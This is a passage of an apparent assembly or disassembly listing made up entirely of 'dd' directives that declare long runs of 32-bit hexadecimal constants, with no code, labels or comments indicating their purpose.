		dd 3BBE55A7h, 5497F69Fh, 0DB8D180h, 0F4BCBB4Bh,	4470C905h
		dd 8F82AF47h, 1637762Ch, 5C87BA05h, 5D782BA2h, 249B2DBh
		dd 55295CCDh, 0D5EBADFCh, 0E99134Bh, 940A60B8h,	223CDF41h
		dd 0FD61C4h, 0E6531BBh,	7595904Ch, 378E20F0h, 0AE271B09h
		dd 0D18B577Ah, 52536705h, 0F27CE8E3h, 0C1F0D5BDh, 40ED6C8h
		dd 0EAEBC166h, 0A2E30DC3h, 52505D17h, 48FAD120h, 42268AFBh
		dd 3DCDC2ADh, 127CD109h, 0FAB95328h, 0EA3B2869h, 4356412Ch
		dd 8EC53FBEh, 0C03FA107h, 7A2F97EDh, 0F501340Dh, 1C081A1Ch
		dd 0BE5E1404h, 0AF1080CBh, 0A3BD0244h, 0D5F7F9D3h, 0D128A3C8h
		dd 5BE01AD4h, 292D4BEDh, 0A50818F4h, 0A4252594h, 68CC4211h
		dd 0D94859BCh, 1495882Eh, 0F96A1F59h, 889327FEh, 0AD9785D5h
		dd 6AED3FDEh, 27380D03h, 0CA4DA1Dh, 4B2F2B4Ch, 0BB80719Ah
		dd 0DA561E7Dh, 17649311h, 9330BD10h, 0CED84D56h, 0A85F4BFDh
		dd 0CDE4F4CBh, 913269A3h, 0C088C251h, 0E681004Eh, 4F0258FCh
		dd 0E39E9DF6h, 44CBE01h, 0AC6F7AE3h, 0EEC1C5FBh, 0D3149C7h
		dd 5DF2EB8Ch, 0E1BF668Ah, 7AE1BDE9h, 30855BACh,	71CFEB62h
		dd 5D39AE5Fh, 203AB33Bh, 14E91433h, 5A80E342h, 51088F35h
		dd 1615F99Fh, 90020BADh, 48DD6BFFh, 8278EA1h, 0CF00F1F1h
		dd 14270C9Eh, 68510050h, 3CF07F2Ah, 1650B0E9h, 7514DE3Fh
		dd 5E46B32h, 779B4473h,	0D460F3EBh, 57E9091Fh, 0B5BF4413h
		dd 6F122BF3h, 0F8ABBF84h, 8AEFF5FAh, 0D3BD016Eh, 45011E53h
		dd 90F81060h, 685A0B0Ch, 0BFED3090h, 281F742Ah,	0CA021839h
		dd 80D779CBh, 60A8E2DEh, 0C526040h, 27E46DA2h, 26FDD80h
		dd 0E94235CBh, 0F765C69Fh, 6C81560Ch, 0FB380DBDh, 7665931h
		dd 5AD18207h, 0DF13B682h, 3638009h, 0B7276A21h,	0B6245CF0h
		dd 56A70C60h, 0BBE44557h, 1DEACB40h, 9D12A818h,	0DC062B7Fh
		dd 0E2AC12E1h, 0C7881C3Fh, 0A95BF98Eh, 27DBC5CAh, 0A03BEF7Ch
		dd 0DE29042Bh, 815EF389h, 94D65A14h, 2A40D34Bh,	5E13CB6Ch
		dd 0C091D729h, 0E73A7682h, 0FD247B82h, 5EAD908Eh, 3C5E66ABh
		dd 5E59CE27h, 0F6810053h, 617ACC99h, 1EF28932h,	4F2D82D3h
		dd 0D1375E4h, 0C31F91EEh, 0C7CD4358h, 0D5DE1249h, 6887C373h
		dd 750974ABh, 6885E1CDh, 10A94B61h, 30562DD3h, 5181A7F9h
		dd 591E2DCFh, 3212BA58h, 440015D0h, 0B8A91A8Ch,	5B712EE9h
		dd 2D3AA60Fh, 73020EFEh, 77391128h, 29BED940h, 0B9584D0Fh
		dd 35FD225Ch, 0E6720E31h, 905021Ah, 5506D257h, 70BFA42h
		dd 3BB8B369h, 0E6EF6AC5h, 897EC40Eh, 680BB13h, 30504FEDh
		dd 0BB0C51D0h, 414E9B7Ch, 8DC59BC2h, 14040C08h,	227A1E8h
		dd 9D4DA2CCh, 8EEA4EF4h, 911A262Ch, 85A05B92h, 0B353040Dh
		dd 87EB80C5h, 0B3683431h, 2B987EF4h, 2DAF3360h,	0F0171F2Eh
		dd 4F5D0505h, 1001264Ah, 0A27C0783h, 52C6DE11h,	0E9F9185Fh
		dd 1DC59486h, 8AF7895Fh, 13D97AA5h, 0AC82FADCh,	11D95F5Bh
		dd 0C25AE84Fh, 0B0DD3168h, 952F7733h, 1307D6C6h, 415B402Ah
		dd 6A59E912h, 0EF1781C3h, 0A02ED471h, 218E7C8h,	1C18624Dh
		dd 5A13270Eh, 2FDE3A40h, 445FD1B7h, 3788AF80h, 0AB0C1271h
		dd 0C5058025h, 982D5AACh, 1ADFC0Bh, 0A02E32EFh,	47292129h
		dd 0FBC344BAh, 57C6FC4Bh, 266C5462h, 886450B5h,	4A84E963h
		dd 788DABAEh, 133470F1h, 875E16F5h, 9340ED2Ch, 0EDEB6018h
		dd 5E46187Ch, 33409E2Ah, 50DDC42Fh, 7D4A372Ch, 81830926h
		dd 48D2AAB0h, 20593569h, 4752A40Bh, 9D2F0599h, 5AF15D4h
		dd 9CDD2961h, 0B74BB113h, 2572CBAEh, 5E4755Ch, 9AF9D92Fh
		dd 5F42DF1Ch, 0C0724A5Ch, 35031Bh, 0E7813694h, 3A5D088Ah
		dd 0EF014F77h, 131F8016h, 4E34B4E9h, 68C20A01h,	88D56DBAh
		dd 561EE57Ah, 0AE2AB4C5h, 51289EB0h, 7E46C3Ah, 0F30A7B40h
		dd 0F6FA137Ah, 198B4EBCh, 9E5D206Bh, 3A5EB7D5h,	0C2F4B4C2h
		dd 9D94FD7Eh, 42E92BC2h, 54F975CBh, 8372C46Fh, 5699B4B8h
		dd 7606A7D1h, 0E1C1009h, 124F5668h, 0C9FEE6FAh,	80177D59h
		dd 66949A09h, 5B21F204h, 5AC0E43Bh, 23672D04h, 1C261C6h
		dd 51078005h, 2418C0B9h, 339F0A7Ah, 686E4904h, 0E14A7D4Fh
		dd 8401BA06h, 419CEE0Ch, 0A01226B0h, 33604362h,	3A3BC111h
		dd 0C1960C7h, 2DF0C226h, 73A3E92Eh, 8953D4AFh, 0E3462402h
		dd 203B681Ch, 0DF96552Dh, 0CD137795h, 0D5B0AFDCh, 35CE27E9h
		dd 93EF9AF6h, 90A44ABCh, 706B3A2Ah, 41E94A0Bh, 31DFA257h
		dd 43C7E1D8h, 3F561548h, 81019C66h, 452F0DE9h, 0D7F470D0h
		dd 4010DE97h, 6EDA1792h, 710D5800h, 55C7254h, 6F121220h
		dd 4097A896h, 5A171991h, 92AB753Ah, 0A058AA46h,	78C8D994h
		dd 1308044Bh, 88167CF7h, 975B2338h, 0CE7C21B6h,	103F0512h
		dd 254B0AAh, 0CA3AE939h, 4F86FB8Ch, 25BA411Dh, 0F942B28Ch
		dd 248A21CFh, 0CB4B28ECh, 403E2A88h, 515452B7h,	7F03B827h
		dd 35238C70h, 200B627Eh, 0B2D2AC6Ch, 0C540831h,	0B07BE120h
		dd 415FA631h, 428E46EDh, 0D65D245Ah, 68536036h,	720923E1h
		dd 0F8ACE916h, 0AB10685h, 6B0C180h, 7F04300Fh, 0C828432Ch
		dd 0C0C4F851h, 0F60709E1h, 2DFEFED1h, 660A0118h, 0AB63852h
		dd 389FF12Ch, 2C59C801h, 2ACBE97Fh, 0CA819D12h,	1660EE01h
		dd 0B51D1E2Dh, 12163514h, 0B18FBEECh, 0C54AE84Bh, 0CAABAF14h
		dd 4BB81784h, 2AE02DAAh, 1EA1DFA8h, 0EB43816Ch,	0E43F5E36h
		dd 0F3178378h, 71DFD920h, 56F8F430h, 41E5F497h,	443271AAh
		dd 5693AEFFh, 96AEB156h, 0D9A94E44h, 8A12E24Ch,	0F72B472Bh
		dd 8735825Ah, 2F4EFADDh, 6B6C25EEh, 0B2BCF4F4h,	0C5DE5B1Eh
		dd 3361100Ah, 0A728E60Ch, 27D0A94h, 16F2466Eh, 87C78CDCh
		dd 0DC9F0970h, 0C781696Ah, 30AE03E7h, 0D501E5A2h, 0E9376714h
		dd 8E2E406Ah, 0EA8101A6h, 530144B5h, 6230F2C9h,	9910188Ch
		dd 6FC9286Ch, 12AB984Bh, 0C70AEA88h, 4C05F108h,	92049E6Ah
		dd 39AEAA9Bh, 2903699h,	43E9F821h, 7F46DF4Eh, 3270FE6h
		dd 0B03F9466h, 0CD1BE3Eh, 8004C4FEh, 0ECE6A2E8h, 0E3275D70h
		dd 90A05C58h, 83FD266Dh, 1F225F4Bh, 1EC6F9FAh, 0A9685014h
		dd 145925BAh, 1A0507ABh, 5018DB08h, 0D490A7FDh,	5830E913h
		dd 417831CCh, 32FE3AA9h, 58E91A37h, 83A02A5Fh, 0E57E0066h
		dd 8711BE50h, 0C9B70CEDh, 0EDEE475h, 0FA8368C5h, 4D008CA3h
		dd 0E9013618h, 0A09D1A55h, 0F247592Fh, 37F9BF49h, 0F9315302h
		dd 80B37A3Fh, 5E7EE908h, 42109DF8h, 0B9001262h,	51080EC2h
		dd 0EC31E33Fh, 777845F8h, 923BF0DEh, 0B7327D6Fh, 0D6877EDCh
		dd 4ECBFEF0h, 0CD6812DBh, 872DEF77h, 40B4C60h, 1063341h
		dd 522984C7h, 68940508h, 3333AFD6h, 5D09CFCCh, 520694Ch
		dd 425A9DBCh, 443020h, 7A48B5BAh, 0B74FBD47h, 83B88528h
		dd 0CC557209h, 0F1627770h, 0FE5A0804h, 0E868F180h, 0FD2AE10Dh
		dd 0F2AF932Ah, 403789CDh, 1771BF38h, 142AC514h,	849DFF0Bh
		dd 0C2B90231h, 0D0C2F177h, 0C5F50809h, 0FD742751h, 52B0B764h
		dd 7B4E9550h, 7DF4E862h
		dd 20FF6415h, 0F0B58A64h, 5FF18136h, 0BB02F237h, 66D6AABh
		dd 0D4E08BD7h, 6A10ED38h, 2210FECBh, 0D0C24A76h, 0D20F54Fh
		dd 0D9230CC9h, 0D8413C3Bh, 5A5D093Ah, 0E2628975h, 1B31406Bh
		dd 0A6E05C2Eh, 302CED02h, 37603CD0h, 0FD2852C0h, 0FC09C62Bh
		dd 5D5ABEF4h, 5DE92838h, 0BD01E79Eh, 2DA65CBh, 45CC4885h
		dd 5C66813Eh, 556AA5F7h, 0F8A462E5h, 0FED9FD5Ah, 57D7649h
		dd 0D8FEEF79h, 9A9A86E3h, 9F945ABFh, 595E3BF4h,	2813A112h
		dd 10C88BE6h, 3109A932h, 0C07759CBh, 27A7BB37h,	21508A46h
		dd 1EBDD880h, 54BADE0h,	2DA000EFh, 56391993h, 40F952B0h
		dd 674AE907h, 6B493AB4h, 0B04CE101h, 87581884h,	35DCFE2Ch
		dd 1EE52D68h, 0E84B9D51h, 802BB039h, 4D3FBB68h,	0A74BCF93h
		dd 56329DBh, 88EAE890h,	59049D8Ah, 44011D55h, 580C0C64h
		dd 22407CAEh, 0BBFA4A01h, 0FC603D29h, 0F4185FE0h, 0D2F03C98h
		dd 0FD83F396h, 4B315B5Fh, 5452AE78h, 0C66BB3FFh, 306EC549h
		dd 3504E0D1h, 125BA6Dh,	0BC61DDDAh, 0FBDFDE3Fh,	64F91256h
		dd 0DD88F8F6h, 0A0399849h, 497D402Fh, 4FD09D53h, 0FCBF2790h
		dd 0A1F4648Bh, 0D2F83A18h, 0B45144C5h, 62037070h, 0D2F710A3h
		dd 4065E4Ah, 0BF45DDF3h, 0CB5EBE8Ah, 627627E0h,	0FF646AB8h
		dd 0E902FB4Fh, 64FEFCCAh, 0BD25F0FBh, 6BB2FD0Dh, 0E9F1C2A9h
		dd 0B3428D8h, 0D003EBC1h, 45473F6Dh, 26F2AC40h,	9EEC94Fh
		dd 9E5EF7CEh, 19BC5F25h, 0B1945A1h, 5F39BB4Eh, 75E88B15h
		dd 0A4CD88F4h, 0FAB88B97h, 0F7111627h, 0CE05981Bh, 19F86B4Fh
		dd 65F5C9F1h, 0D710A068h, 0C429C00Eh, 92C0D635h, 9F873DE2h
		dd 720E874h, 5122FF84h,	5054B53Bh, 0F1FD0902h, 0E782776Dh
		dd 9361C801h, 7957D846h, 0AA09349Eh, 9F3F530Ah,	7C840955h
		dd 989745FEh, 5D5A8582h, 57004ADCh, 0E20672BFh,	0FCC15156h
		dd 0FAACC56Ah, 0E80398h, 81298A4Bh, 2E75FCEEh, 0AF0064B6h
		dd 119830Bh, 6B4CB1F7h,	5068BDDh, 0C8CC4719h, 0B5E9F354h
		dd 0D8603C65h, 7812410Fh, 0E6F4DE26h, 7FE831EFh, 77880272h
		dd 28C7B982h, 571FA965h, 0D6DDBF09h, 622B6F07h,	0A1F19B63h
		dd 0F6FD34ECh, 99444504h, 0ECEA29DCh, 0A2D102D5h, 638913BDh
		dd 0AAC3E3B1h, 4859DDD8h, 35B25664h, 0BE42E984h, 60EF8885h
		dd 3E234807h, 8417B42h,	25E5807Eh, 0A8C90F5Fh, 95F058ECh
		dd 0F09554D0h, 48C43E45h, 58FCF298h, 47EF82Ch, 6040D6FFh
		dd 0FEA128CBh, 0DA96578Eh, 0EDCD1FE8h, 0F13355F0h, 4C249B09h
		dd 0D496DBFBh, 25C4FB39h, 0E92C6CAEh, 7E3C482Dh, 4B0C78EFh
		dd 162E3A48h, 3CEFB97Fh, 2D45768Eh, 7D15FDAh, 111A18BFh
		dd 0C1F4861Ch, 8853DBF0h, 5BFDC8E7h, 0D4BD585Fh, 0CBEE4C7Ah
		dd 0B546352Bh, 22A2FB4Ch, 7F768E0h, 0EB05F995h,	5F72EADEh
		dd 52D1B7C1h, 81DD4984h, 57564C6h, 0DC78E8DBh, 0ACA24B50h
		dd 34FB78E2h, 700FBB60h, 45412030h, 0D2407D35h,	197CB951h
		dd 3C6A489Eh, 61E68800h, 3197E995h, 802B4A97h, 0A63202F1h
		dd 6FE5A171h, 176B523Ah, 0AF13FF99h, 582F67CAh,	0AF6A7CDCh
		dd 91903117h, 60EE9926h, 0D80B442h, 0BBC0E7Fh, 5B6B08A0h
		dd 0B4C2D70Eh, 1A79EBABh, 0DCF0A522h, 0DE1F9B58h, 5D85D012h
		dd 59FA91FEh, 0FDF610D3h, 6AD0606Ah, 1C875EF3h,	0C416DD95h
		dd 0E2545B58h, 45C5E6Dh, 0FC5DC280h, 58D3250Ah,	0EA65B7E7h
		dd 491079AFh, 31F115E8h, 0E9708D1Ch, 0C8336AE7h, 81EA95E4h
		dd 28EE2A5Ah, 92F952A4h, 9F235F2Eh, 65C4D7EBh, 291FF0ACh
		dd 0B9D5A5FBh, 7DCEB15Bh, 706C70Ch, 0F6C9FE01h,	14F180D9h
		dd 0A830ADF0h, 1743F7CDh, 20284F0Ch, 3A506F89h,	7C016311h
		dd 0F84A0C90h, 5FC52745h, 1025495h, 785CE9CDh, 505203FBh
		dd 355AB866h, 6D7CBAA2h, 12828C08h, 0BA847558h,	3EA28D61h
		dd 4842A72Fh, 24E10462h, 14FA6312h, 0F54F2FC2h,	81F94476h
		dd 2D27DCBh, 0D5FC575Eh, 65201502h, 9B984027h, 83F582CDh
		dd 24DBF7F6h, 40213414h, 514A73DCh, 4FFF2D4Ah, 0E3567C78h
		dd 72E8D28Dh, 3F218FCBh, 6F05C829h, 0E6FB7E95h,	0F3F6D7ACh
		dd 0D0B1E2Dh, 6EF3ED38h, 1D4C41F8h, 0F0A54EEAh,	0C3DF8420h
		dd 4FA1F1B9h, 500541E3h, 540A76AEh, 0E32F2DB2h,	49D756C2h
		dd 0C86B6C24h, 6D7EA51Ah, 0AEF86FFFh, 0E6B4E9E0h, 0BCEF23C0h
		dd 5C656B1Ah, 0DA0E9347h, 1ED28B22h, 0BB06E074h, 0E5472B5h
		dd 51A09B8h, 9807186h, 0BE4EB67Eh, 5BDE0917h, 0C051B5F8h
		dd 53C79C01h, 2795F22Bh, 7094FF5Eh, 0F2107325h,	0FFC107BBh
		dd 0C442291Bh, 5B41FC1Dh, 0A4A4DBA9h, 39708CD7h, 0C25E5695h
		dd 0AE40F6DEh, 37935658h, 25855825h, 3CDE19D1h,	5AA46858h
		dd 124ECB7Dh, 18568BE9h, 4A0077ACh, 6889BB53h, 2BFE443Ah
		dd 47070BBFh, 32E98523h, 422AD95h, 4068F0ABh, 4A52C6BFh
		dd 0EA3F4E02h, 0D4C4E966h, 25B802CDh, 78E0B10Ch, 0C0829C88h
		dd 0B59BD3C8h, 51C71D54h, 91EA06C5h, 608AEDA8h,	0CC2320Fh
		dd 0C01E53AFh, 80725721h, 8BF42F05h, 7BBC455Bh,	0DAF8EB02h
		dd 2DF09FBh, 0D17BB049h, 0BEAF9672h, 0A177D1D2h, 2E7368D8h
		dd 9DCB3A78h, 42164463h, 0F1B36CF5h, 0B4D5F989h, 8342B7ACh
		dd 52218BF7h, 36C737CAh, 0F2C69E0Ah, 539F62E7h,	0F9F70CEFh
		dd 4C9D6B72h, 0A78A83D8h, 891D7C7Bh, 0BF76B3F2h, 5DA2CF62h
		dd 5CC0725Eh, 0B41C4721h, 0A6E985D1h, 628BBB3Eh, 5C7AD40h
		dd 29189A01h, 8EB10C5h,	76B9444Fh, 88B8B4FDh, 4CB9711Eh
		dd 445547C9h, 4664C64Ch, 665F5413h, 697765A8h, 0C872303h
		dd 6BF43D01h, 117C79D0h, 1AA3D616h, 0EF043D46h,	8D891EB0h
		dd 80639A1Fh, 0A365902Fh, 0B5B93C5Ah, 31215F8Bh, 322002F0h
		dd 0D001125Ch, 0EDC2FA05h, 76F97F5Ah, 1231188h,	0E2C1DA87h
		dd 0DEAA2005h, 0D96BBAFAh, 0DBC07D62h, 76BFEA81h, 1DF6271Ch
		dd 6E0DD709h, 890A72Ch,	290B170Dh, 0A24B96EBh, 0B2D6753Eh
		dd 20A0942Fh, 4D1F4481h, 836C2E0Ch, 7996024Bh, 4708800Fh
		dd 0B10C0B44h, 340C488Bh, 21C2910h, 91F55F2Ch, 39075E2Ch
		dd 258EF9ACh, 440A4116h, 0E81C81Eh, 0F4E946F8h,	0BE760B3Ah
		dd 25A06357h, 827D0857h, 0FCEDE904h, 0C7501253h, 50781F0h
		dd 11A12E62h, 0AAE90700h, 5F92A409h, 832265Dh, 30F9B702h
		dd 4B19E9FDh, 229E9C5h,	0C13C602Ah, 81050322h, 4F59402Ah
		dd 0CB5B11ACh, 0D5E985B1h, 6862F1B9h, 21C42865h, 9A63DB0Fh
		dd 0C1F969D5h, 58DCBD3Fh, 214D26FCh, 0C54C13BAh, 0E0CDE118h
		dd 5E95AF34h, 65BD82Ch,	0B2026B5h, 0B9510219h, 3C0C5ABDh
		dd 6BA3A2E1h, 78ED7512h, 0AC6AA84Bh, 68510B5Ch,	0EC60D3Ch
		dd 1915860Eh, 2E0B2105h, 0F87E164Eh, 9F2A4C93h,	72B4B816h
		dd 0BC601609h, 0F05B017Dh, 2CC08AE2h, 5CAE63FCh, 0C6DD02C2h
		dd 1FCC18DAh, 8124E674h, 2125FA28h, 0DB0D5EF5h,	0CDE90C38h
		dd 555D2516h, 80AC87EEh, 1D2DE913h, 59DB8FBCh, 2FF8F7E2h
		dd 51EF881Ch, 64EDCE8h,	0AF7D13h, 8DE4915h, 20FBC389h
		dd 0ECBDFE6Ah, 0A10979Dh, 82FFE522h, 0B0D991D7h, 35C055F8h
		dd 999F178Ah, 0D534C6E5h, 8E025C0h, 3D6BDE62h, 44B071C8h
		dd 1C7E6697h, 1E16D1F7h, 2C61C90Dh, 25011329h, 0EB50107Eh
		dd 65CCAA04h, 0A982786Bh, 98C57FC7h, 0C9347425h, 689484h
		dd 28E45B8h, 65FE97A2h,	0C8E8510Dh, 64604667h, 3980748Eh
		dd 0C149E938h, 7478663Ch
		dd 2010C0F0h, 0EDC05AF5h, 6951052Fh, 0C83F598Fh, 0C14F835Dh
		dd 90922CABh, 0F5F3CD60h, 4A64297Bh, 31E8F083h,	32FBC84Bh
		dd 0A5D4BF3Eh, 0B685A02h, 16554649h, 0EFEA8852h, 0E2817CC1h
		dd 93875801h, 0B847E43Bh, 0E803652Ch, 7026A704h, 8C4B20A4h
		dd 0F85F5E38h, 0EF2B4725h, 0EF43A849h, 4F48CE6Eh, 209118B2h
		dd 0F1E9D90Bh, 685C7AA3h, 0C3A9AB8Ch, 937EC92h,	9C3E950h
		dd 6A45D73Ch, 0BAFB123Fh, 0F0E039FEh, 5E136AABh, 7B0B566Ch
		dd 4CB7122Eh, 41D6B762h, 5842A693h, 0C039EAD1h,	809CDAB5h
		dd 225AE68h, 302E3867h,	235BBF36h, 695BA1A8h, 0D9AB49C5h
		dd 0F1882A81h, 0F5DB440Ch, 4AB52C90h, 0D1627790h, 806B04F6h
		dd 0C93A4A4Fh, 0B8BE007Fh, 818036C5h, 211239EEh, 0B8076E6Ch
		dd 32F5190Bh, 1AA3D4EAh, 14071C08h, 0ED2929E9h,	68E9E07Eh
		dd 0CB3FAE45h, 0D1AF0EF1h, 144AA246h, 2C8DB101h, 535266EAh
		dd 0B5A1872Ch, 77A2422Dh, 86AF050Bh, 4E9E7ABh, 5453E1F7h
		dd 0DF8483ECh, 15BD1407h, 3E8CA40Ah, 0EA35A6F9h, 825C4760h
		dd 0F1811A21h, 1C410D43h, 0E1236E9Fh, 972EA1E5h, 0E1BC873Fh
		dd 2186D2EAh, 7F9897A1h, 2D58DBA2h, 79DBFD5Ah, 18266D98h
		dd 56FB89Ah, 99EE2AE3h,	14B23AB7h, 0E141A895h, 0D1F1A845h
		dd 0D530BB89h, 8187DB75h, 0B15E7CF6h, 0ACD1400Bh, 7726D345h
		dd 2D160E53h, 93094EDh,	0BCF813Dh, 59A52216h, 26D7A10Dh
		dd 39F73A60h, 0DD787C44h, 1E51C518h, 0F57E89Fh,	80309157h
		dd 0DB2A22CBh, 0E04B5F45h, 1F161404h, 6FFC011Dh, 73BE5680h
		dd 579D4D1Ch, 0ACF6C720h, 724BA84Bh, 0DB2E60ACh, 0FB318A4Fh
		dd 8C3212B8h, 3911BCDCh, 810743D3h, 214C59E9h, 2ACD2948h
		dd 4D0CE8Eh, 1E7CE909h,	5B0390F5h, 1B330272h, 275EC9BAh
		dd 0B0A5B985h, 0E4A06664h, 0AC34B6Bh, 4D73D4CBh, 543B2EA4h
		dd 950EC72Fh, 49025DC9h, 1E57E64Dh, 4F17DE3h, 0E92A5F0Fh
		dd 1E1A845h, 49EA055Ah,	107F148Fh, 884A075Bh, 45B52C64h
		dd 5057808Dh, 396FE468h, 39EF58E0h, 7E7851CBh, 56AB77D7h
		dd 0EDD52749h, 3AE989DAh, 50875056h, 169429B4h,	0DD5F9DD2h
		dd 0ABC320A3h, 55531216h, 0BB8A7CE8h, 5BD88B4Ch, 0B15DE425h
		dd 9EF26EE8h, 5E5C18Fh,	2A60BE56h, 5F726E6Bh, 5130E13Bh
		dd 45E3D60Dh, 9A3DEB92h, 0C524E82Bh, 0E6BB78B6h, 0FE9C24Ah
		dd 521EFC7Ah, 2564E775h, 0E90B465Bh, 68422291h,	6727D4FBh
		dd 0A93D31BEh, 4CAA3B4Ah, 0BDC30533h, 567D99AAh, 0E0BC50CAh
		dd 0BDFCDED2h, 0C33C3501h, 2E89FAAAh, 0FE5ABCD2h, 40684374h
		dd 0D668AAC5h, 9E4197h,	7165F2EEh, 8401A031h, 0AA04BA3Eh
		dd 0C2066E1Ah, 97AB7D6Ch, 30249C7Ch, 2DF5BF81h,	0BE84189h
		dd 28D9927h, 6BB35E7Dh,	73498FCh, 1EDA608h, 0AA407BBAh
		dd 14EEE82Bh, 80DA6AB7h, 6F8986F5h, 5EE5E785h, 0DFC3C03Ah
		dd 8C588FD9h, 65363798h, 12AAB964h, 7FCBEBBEh, 68320E6Bh
		dd 0D2529E54h, 0E6EA25DBh, 80502039h, 0CD55A7C6h, 5927E91Fh
		dd 4352D487h, 1750D181h, 9C821409h, 0BFEF50F3h,	8C9035CEh
		dd 0A6724C0Ah, 8828D662h, 5F300B92h, 2A20E858h,	50295BA4h
		dd 0E9160817h, 2ABBD24h, 4B03B2EBh, 0A0AA761Ah,	88A5BE08h
		dd 68006D1Eh, 6E956625h, 0D1EA58h, 2D35993Ah, 4B650C60h
		dd 6320050Bh, 4246023Bh, 0CC7B5716h, 0FA7F9E3Dh, 0AFA84FFEh
		dd 0C76DF9B8h, 0A77D31CFh, 54096287h, 0A2B58042h, 0BD0CCBF6h
		dd 0AD967BE9h, 302B5B51h, 878658E4h, 0CE31A803h, 7706CBE9h
		dd 4EED1279h, 20C9FC8Eh, 0F280280Ah, 86762093h,	0F082298h
		dd 24077534h, 836E0857h, 58FCB801h, 1FE8239Fh, 0A9D597AAh
		dd 0F3495FD3h, 6A166FFCh, 208F2DFAh, 0E04E1A64h, 0EC82034Eh
		dd 4AED7EEAh, 0C63784DEh, 9DF62825h, 2998282h, 0FCAB6668h
		dd 9C03BF4Ah, 86F58864h, 87383F11h, 7CD6AEF7h, 813FBB18h
		dd 0A737BCC1h, 0D0B77272h, 1AB120A8h, 0F6E9DA0h, 421D9324h
		dd 0F465520Bh, 81E1537Ah, 2F552D37h, 0F8B55C2h,	12C20374h
		dd 9D4A74DFh, 2A29C97Eh, 0BB72178h, 568957CAh, 0DAC5F976h
		dd 0DBBFE2D1h, 0F47F0920h, 16FAB467h, 7909EF30h, 49187EEAh
		dd 5EB97D80h, 207CE231h, 0FDB6EC7Dh, 0FDDDF7E2h, 16C24A60h
		dd 4BA5280h, 71623507h,	25C8FB89h, 8691C25h, 3E9C9BEh
		dd 2EC2BD48h, 0BB3CE413h, 20F8D6AAh, 5ADEFE69h,	6B9F074Bh
		dd 7B8B57D2h, 0E5BF6557h, 0A51C10F6h, 76CFCE02h, 0B3573F13h
		dd 0B227F204h, 0BBC416Bh, 0A8FDEA04h, 0F8EAEE0Bh, 8B4F5678h
		dd 0FFB59AE4h, 0D69C3D62h, 0B568FEC2h, 9D5C7268h, 0DDA34998h
		dd 31BBEED7h, 0F5595C07h, 281B8196h, 2DC280CAh,	28DC9A62h
		dd 73C3FEB2h, 0FAE9B087h, 0D4C8A248h, 0A25514BDh, 82285284h
		dd 0AF50BE48h, 1BAD2D5Fh, 17252350h, 1285964h, 27AD79Eh
		dd 0BF65301Ch, 0F8C67602h, 0D1F001E9h, 0FC5B2793h, 490BD52Dh
		dd 0E7DFB762h, 879F0858h, 89CA2905h, 27FAC8F4h,	9B7C3926h
		dd 9E321D38h, 40D0F7C6h, 0F1E91706h, 5A614106h,	917E5F68h
		dd 334CED4Fh, 9BF8DC19h, 134370E0h, 3E89719Ch, 4EC6C4Ah
		dd 119766Eh, 5A87C2D1h,	0FA343459h, 0B902FCF7h,	14FFE21h
		dd 0A07359DFh, 9DDEAE0Ch, 0F3C2E1D4h, 1F67FF53h, 3B21B433h
		dd 0F350A327h, 66B72753h, 4A139CD0h, 12FFCF08h,	604CEF14h
		dd 0F4B9F1DDh, 509EE33h, 0E44A23BFh, 92D0FA71h,	5E53E9FAh
		dd 0A21DAC82h, 7F5F1168h, 4FE4C117h, 0FEF52CE4h, 4C6A6086h
		dd 0F0B702A6h, 0BEE9739Bh, 1E873E6Ah, 0A213837Fh, 0E5F7AE4Eh
		dd 91D02F44h, 0C8599327h, 0CBE44CE4h, 57525A5Ch, 0B829084Eh
		dd 690CE02Eh, 0FF127290h, 6F8006E9h, 72E1D15Dh,	19E20B81h
		dd 0C1504671h, 1028374h, 0B668D9F7h, 0FEDBE603h, 0D84A9F0Eh
		dd 0F0717578h, 4CDCD882h, 68802D66h, 43F6265Bh,	65FC5A4Ah
		dd 0FF07CA12h, 0C8EAEF40h, 97911F68h, 0FB220EF2h, 1ED317Ah
		dd 0DBC0BF06h, 2BA66419h, 0BA3EE3D1h, 0D80A0113h, 714BD963h
		dd 5FC7043Ch, 0C8298169h, 5907422Dh, 4CAE9077h,	9E0A40Fh
		dd 0CE53DBCAh, 0C2FFAB09h, 204C5867h, 6805438Ch, 44C31BD6h
		dd 66A6B8B3h, 0E0FD3E20h, 34659FEBh, 0DB522DBDh, 509B0927h
		dd 0EE8F971Ah, 62CDCB9Ch, 709C8C83h, 9F0C2CAFh,	0AF1F442Ch
		dd 0BFDB15h, 6611C180h,	945F9C68h, 303941EEh, 0B2D9F2F1h
		dd 0B23B04E9h, 7F1D2D02h, 0E95A0161h, 1B11F4C2h, 0E3AE1AD2h
		dd 60EF9684h, 235068BBh, 5F2A55C4h, 84045A02h, 9CD78EF5h
		dd 2F935D9Fh, 4C6444C3h, 0D310FBA6h, 0BD5C3CDAh, 0D6F7A54Dh
		dd 940194F9h, 444B553Eh, 0D25B0CD2h, 0C6C1EE45h, 83D72AF3h
		dd 1FD12CE5h, 0EC24CF80h, 885112C7h, 6DA08F9h, 0DFCE0109h
		dd 25006CDAh, 341C477Ah, 0F706762Dh, 0CC6CF9D7h, 933A3429h
		dd 8F3B396h, 6C921BCFh,	347189EFh, 800A20C8h, 0F01BE956h
		dd 1A51538Dh, 0C849FB79h, 5834145Bh, 1F49BE04h,	9B538715h
		dd 12882789h, 0F742270Bh, 8431517Fh, 0FE3FD168h, 9691C999h
		dd 0B3C60272h, 577DD935h, 98689940h, 0FDE3245Fh, 3125BE02h
		dd 0CF4029E7h, 78EA67DDh, 63EFE912h, 0DF17B2EFh, 0D644808Fh
		dd 92DF99A2h, 885CB022h, 2558E524h, 32BA5416h, 9754DD2h
		dd 62E0D94Dh, 5AD55066h, 0DD5D2D76h, 216101BAh,	71EE3A5Ah
		dd 3FD97DEAh, 0BD0218DDh, 58F1A04Eh, 64D2D40h, 89D5958Dh
		dd 29989CC7h, 5FC28DC9h
		dd 5695F4F8h, 0E8DF4B10h, 0EE805B87h, 0D92824A7h, 43DC3AABh
		dd 0E8B9837Eh, 26A06F0Ch, 4F494321h, 0D6465B3h,	96A6EB56h
		dd 5E94CA4Eh, 0AF96D4A2h, 0BA4B0D8Bh, 40BD7D38h, 0DD26F651h
		dd 5C17F250h, 0C4803080h, 0B3531C0Bh, 0D6DC185Fh, 0E5E0D6EDh
		dd 58EAC5FCh, 38472C39h, 51E80EE3h, 0A2AEB2B5h,	0B412D33Ch
		dd 0F2CBC05Eh, 273DDCCFh, 9C19F0h, 0FF59CDC2h, 88B071C5h
